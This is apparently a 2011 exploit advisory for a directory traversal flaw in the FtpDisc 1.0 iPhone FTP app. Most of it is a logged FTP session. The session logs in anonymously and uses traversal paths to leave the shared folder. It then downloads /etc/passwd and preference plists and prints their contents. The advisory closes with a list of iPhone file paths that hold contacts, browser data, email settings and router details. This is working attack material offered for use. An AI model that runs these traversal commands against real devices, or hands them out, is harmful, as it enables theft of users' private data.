iOS FtpDisc 1.0 - Directory Traversal

# Exploit Title: FtpDisc v1.0 for iPhone / iPod touch, Directory Traversal 
# Date: 02/22/2011
# Author: R3d@l3rt, Sp@2K, Sunlight
# Software Link: http://itunes.apple.com/kr/app/ftpdisc-lite-pdf-reader/id329157971?mt=8
# Version: 1.0
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware  

# There is directory traversal vulnerability in the FtpDisc.  
# Exploit Testing

C:\>ftp
ftp> open 192.168.0.70 2121
Connected to 192.168.0.70.
220 Mocha FTP Server
User (192.168.0.70:(none)): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls
drwxrwxrwx   1 nobody    nobody      68         Jan  3 17:14 documents
drwxrwxrwx   1 nobody    nobody      68         Jan  3 17:14 other
drwxrwxrwx   1 nobody    nobody      68         Jan  3 17:14 photos
drwxrwxrwx   1 nobody    nobody      68         Jan  3 17:14 video
226 Transfer completed
ftp: 277 bytes received in 0.00Seconds 277000.00Kbytes/sec.
ftp> cd //..//..//..//..//..//..//
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls
-r-xr-xr-x   1 nobody    nobody      0          Aug  3  201012:41 .file
dr-xr-xr-x   1 nobody    nobody      1428       Feb  8 12:50 Applications
dr-xr-xr-x   1 nobody    nobody      68         Aug 19  2010 4:10 Developer
dr-xr-xr-x   1 nobody    nobody      884        Jan 12 12:53 Library
dr-xr-xr-x   1 nobody    nobody      102        Aug 19  2010 4:18 System
dr-xr-xr-x   1 nobody    nobody      306        Feb  8 11:48 User
dr-xr-xr-x   1 nobody    nobody      2074       Jan 13  9:52 bin
dr-xr-xr-x   1 nobody    nobody      68         Oct 26  2010 1:19 boot
-r-xr-xr-x   1 nobody    nobody      638        Jan 25 15:30 control
dr-xr-xr-x   1 nobody    nobody      68         Aug  3  201012:41 cores
   1 nobody    nobody      68           1  dev
dr-xr-xr-x   1 nobody    nobody      918        Jan 26 11:34 etc
dr-xr-xr-x   1 nobody    nobody      68         Oct 26  2010 1:19 lib
dr-xr-xr-x   1 nobody    nobody      68         Oct 26  2010 1:19 mnt
dr-xr-xr-x   1 nobody    nobody      136        Oct 23  201015:12 private
dr-xr-xr-x   1 nobody    nobody      1666       Jan 13  9:52 sbin
drwxrwxrwx   1 nobody    nobody      272        Feb 22 16:02 tmp
dr-xr-xr-x   1 nobody    nobody      374        Jan 13  9:52 usr
dr-xr-xr-x   1 nobody    nobody      1088       Oct 26  2010 1:19 var
226 Transfer completed
ftp: 1461 bytes received in 0.02Seconds 91.31Kbytes/sec.
ftp> get ../../../../../../etc/passwd
200 PORT command successful.
550 cannot find the file
ftp> get /../../../../../../etc/passwd
200 PORT command successful.
150 Opening ASCII mode data connection for /../../../../../../etc/passwd
226 Transfer completed
ftp: 785 bytes received in 0.00Seconds 785000.00Kbytes/sec.
ftp> get //..//..//..//..//..//..//private/var/mobile/Library/Preferences/com.apple.Maps.plist
200 PORT command successful.
150 Opening ASCII mode data connection for //..//..//..//..//..//..//private/var/mobile/Library/Preferences/com.apple.Maps.plist
226 Transfer completed
ftp: 1239 bytes received in 0.00Seconds 1239000.00Kbytes/sec.
ftp> quit
221 Goodbye

C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file.  Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

C:\>type com.apple.Maps.plist
bplist00?


C:\>type com.apple.conference.plist
bplist00?_restoredFromBackup\natTypeCache
?
_DIPv4.Router=192.168.0.1;IPv4.RouterHardwareAddress=1c:bd:b9:XX:XX:XX_EIPv4.R
outer=192.168.11.1;IPv4.RouterHardwareAddress=00:24:a5:XX:XX:XX? XnatFlag
C:\>



# IPhone inside information

1. Phone Book
 - /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
     
2. Safari Favorites List
 - /private/var/mobile/Library/Safari

3. Users E-mail Information
 - /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist

4. IPv4 Router Information
 - /private/var/mobile/Library/Preferences/com.apple.conference.plist